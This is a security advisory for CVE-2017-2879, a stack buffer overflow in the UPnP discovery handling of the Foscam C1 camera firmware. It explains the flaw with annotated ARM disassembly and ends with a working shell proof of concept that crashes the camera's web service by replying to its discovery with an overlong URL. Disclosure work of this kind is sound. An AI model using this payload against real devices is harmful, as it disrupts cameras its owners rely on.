CVE-2017-2879
An exploitable buffer overflow vulnerability exists in the UPnP implementation used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted UPnP discovery response can cause a buffer overflow resulting in overwriting arbitrary data. An attacker needs to be in the same subnetwork and reply to a discovery message to trigger this vulnerability.
Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26
http://www.foscam.com/downloads/index.html
7.5 - CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-121: Stack-based Buffer Overflow
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.
The device implements the UPnP protocol, which is used to communicate with the network gateway in order to make the camera’s web interface remotely accessible. When UPnP is enabled, the device sends the following UPnP discovery message to the multicast address 239.255.255.250 on port 1900, every 30 seconds.
M-SEARCH * HTTP/1.1
ST: UPnP:rootdevice
MX: 3
Man: "ssdp:discover"
HOST: 239.255.255.250:1900
When a reply to this message is received, the device parses it, extracts the control URL and connects to it in order to continue the communication.
Function sub_6DC10
in the “webService” binary is run in a dedicated thread. It continuously tries to discover new UPnP enabled devices by calling function sub_6D9AC
[1] which in turn calls sub_6CBD0
.
.text:0006DC10 sub_6DC10
.text:0006DC10
.text:0006DC14 000 37 40 2D E9 STMFD SP!, {R0-R2,R4,R5,LR}
.text:0006DC18 018 00 30 8D E5 STR R3, [SP,#0x18+var_18]
.text:0006DC1C 018 DC 30 9F E5 LDR R3, =aEnterUpnpThrea ; "Enter UPnP thread"
...
.text:0006DC50 loc_6DC50
.text:0006DC50 018 36 30 D4 E5 LDRB R3, [R4,#0x36]
.text:0006DC54 018 00 00 53 E3 CMP R3, #0
.text:0006DC58 018 03 00 00 0A BEQ loc_6DC6C
.text:0006DC5C 018 04 00 A0 E1 MOV R0, R4
.text:0006DC60 018 51 FF FF EB BL sub_6D9AC ; [1]
...
.text:0006DCE4 018 D9 FF FF 1A BNE loc_6DC50
Function sub_6CBD0
builds an UPnP discovery message [2] and sends it [3] to the multicast address “239.255.255.250”. When an answer is received [4], the message at [5] is parsed.
.text:0006CBD0 upnp_discovery
.text:0006CBD0
.text:0006CBD0 000 F0 47 2D E9 STMFD SP!, {R4-R10,LR}
...
.text:0006CC98 loc_6CC98
.text:0006CCA4 190E8 19 0A 8D E2 ADD R0, SP, #0x190E8+var_E8
.text:0006CCA8 190E8 19 2A 8D E2 ADD R2, SP, #0x190E8+var_E8
.text:0006CCAC 190E8 B8 00 80 E2 ADD R0, R0, #0xB8 ; [2]
.text:0006CCB0 190E8 24 15 9F E5 LDR R1, =aMSearchHttp1_1 ; "M-SEARCH *
HTTP/1.1\r\nST: urn:schemas-"...
.text:0006CCB4 190E8 C4 20 82 E2 ADD R2, R2, #0xC4
.text:0006CCB8 190E8 6E 97 FE EB BL _ZNSsC1EPKcRKSaIcE ; std::string::string(...)
...
.text:0006CCD8 190E8 00 05 9F E5 LDR R0, =a239_255_255__0 ; "239.255.255.250"
.text:0006CCDC 190E8 45 99 FE EB BL inet_addr
...
.text:0006CDAC 190E8 52 97 FE EB BL sendto ; [3]
...
.text:0006CEB4 190E8 04 00 A0 E1 MOV R0, R4
.text:0006CEB8 190E8 10 10 8D E2 ADD R1, SP, #0x190E8+buf ; [5]
.text:0006CEBC 190E8 19 2A A0 E3 MOV R2, #0x19000
.text:0006CEC0 190E8 00 30 8D E5 STR R3, [SP,#0x190E8+optlen]
.text:0006CEC4 190E8 04 30 8D E5 STR R3, [SP,#0x190E8+addr_len]
.text:0006CEC8 190E8 DC 98 FE EB BL recvfrom ; [4]
The buffer at [5] is copied and checked to contain:
Finally, sub_62A08
is called [9] passing as third parameter the pointer to an “std::string” object containing the message starting at “http://”.
.text:0006CF44 190E8 19 0A 8D E2 ADD R0, SP, #0x190E8+var_E8
.text:0006CF48 190E8 B4 00 80 E2 ADD R0, R0, #0xB4
.text:0006CF4C 190E8 10 10 8D E2 ADD R1, SP, #0x190E8+buf
.text:0006CF50 190E8 39 98 FE EB BL _ZNSsaSEPKc ; std::string::operator=(char const*)
.text:0006CF54 190E8 19 0A 8D E2 ADD R0, SP, #0x190E8+var_E8
.text:0006CF58 190E8 B4 00 80 E2 ADD R0, R0, #0xB4
.text:0006CF5C 190E8 A8 12 9F E5 LDR R1, ="200Ok" ; [6]
.text:0006CF60 190E8 00 20 A0 E3 MOV R2, #0
.text:0006CF64 190E8 7E 99 FE EB BL _ZNKSs4findEPKcj ; std::string::find(char const*,uint)
...
.text:0006CF88 190E8 19 0A 8D E2 ADD R0, SP, #0x190E8+var_E8
.text:0006CF8C 190E8 B4 00 80 E2 ADD R0, R0, #0xB4
.text:0006CF90 190E8 80 12 9F E5 LDR R1, =aHttp ; [7]
.text:0006CF94 190E8 00 20 A0 E3 MOV R2, #0
.text:0006CF98 190E8 71 99 FE EB BL _ZNKSs4findEPKcj ; std::string::find(char const*,uint)
.text:0006CF9C 190E8 01 00 70 E3 CMN R0, #1
.text:0006CFA0 190E8 00 50 A0 E1 MOV R5, R0
...
.text:0006CFBC 190E8 60 12 9F E5 LDR R1, =asc_8E1CA ; [8]
.text:0006CFC0 190E8 05 20 A0 E1 MOV R2, R5
.text:0006CFC4 190E8 66 99 FE EB BL _ZNKSs4findEPKcj
...
.text:0006D060 190E8 68 D6 FF EB BL sub_62A08 ; [9]
Function sub_62A08
parses the control URL and sends an HTTP request to it.
To do this, the control URL [10] is first tokenized by function sub_62790
, which places host [11], port [12] and path [13] in three different buffers.
The HTTP request is then built by composing the extracted tokens with sprintf
[14] and is placed in a destination buffer which has a size of 200 bytes [15].
.text:00062A08 sub_62A08
.text:00062A08
.text:00062A08 var_19120= -0x19120
.text:00062A08 var_1911C= -0x1911C
.text:00062A08 var_19118= -0x19118
.text:00062A08 var_19114= -0x19114
.text:00062A08 var_19110= -0x19110
.text:00062A08 var_19104= -0x19104
.text:00062A08 var_120= -0x120
.text:00062A08
.text:00062A08 000 70 40 2D E9 STMFD SP!, {R4-R6,LR}
.text:00062A0C 010 19 DA 4D E2 SUB SP, SP, #0x19000
.text:00062A10 19010 11 DE 4D E2 SUB SP, SP, #0x110
.text:00062A14 19120 00 40 A0 E1 MOV R4, R0
.text:00062A18 19120 02 50 A0 E1 MOV R5, R2 ; [10]
...
.text:00062A80 19120 19 3A 8D E2 ADD R3, SP, #0x19120+var_120
.text:00062A84 19120 F8 30 83 E2 ADD R3, R3, #0xF8 ; [13]
.text:00062A88 19120 00 30 8D E5 STR R3, [SP,#0x19120+var_19120]
.text:00062A8C 19120 19 2A 8D E2 ADD R2, SP, #0x19120+var_120
.text:00062A90 19120 19 3A 8D E2 ADD R3, SP, #0x19120+var_120
.text:00062A94 19120 04 00 A0 E1 MOV R0, R4
.text:00062A98 19120 00 10 95 E5 LDR R1, [R5]
.text:00062A9C 19120 FC 20 82 E2 ADD R2, R2, #0xFC ; [11]
.text:00062AA0 19120 F4 30 83 E2 ADD R3, R3, #0xF4 ; [12]
.text:00062AA4 19120 39 FF FF EB BL sub_62790
...
.text:00062B18 19120 19 2A 8D E2 ADD R2, SP, #0x19120+var_120
.text:00062B1C 19120 19 5A 8D E2 ADD R5, SP, #0x19120+var_120
.text:00062B20 19120 F4 30 92 E5 LDR R3, [R2,#0xF4]
.text:00062B24 19120 20 50 85 E2 ADD R5, R5, #0x20
.text:00062B28 19120 19 CA 8D E2 ADD R12, SP, #0x19120+var_120
.text:00062B2C 19120 00 30 8D E5 STR R3, [SP,#0x19120+var_19120]
.text:00062B30 19120 2C 12 9F E5 LDR R1, =aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHost:
%s:%d\r\n\r\n"
.text:00062B34 19120 F8 20 92 E5 LDR R2, [R2,#0xF8]
.text:00062B38 19120 05 00 A0 E1 MOV R0, R5
.text:00062B3C 19120 FC 30 9C E5 LDR R3, [R12,#0xFC]
.text:00062B40 19120 C7 C1 FE EB BL sprintf
Since sprintf
does not impose a maximum length and since the parameters passed to sprintf
haven’t had their size checked, the destination buffer can be overflown with an overlong control URL.
When UPnP is enabled, this vulnerability can be triggered with a simple UDP message, upon reception of an UPnP discovery. The following proof of concept will make the web service crash.
$ reply="$( python2 -c 'print "200 OK http://1.1.1.1:0/"+"A"*185+"\r"' )"
$ echo "$reply" | socat -d UDP4-RECVFROM:1900,ip-add-membership=239.255.255.250:eth0 STDIO
2017-08-03 - Vendor Disclosure
2017-11-13 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.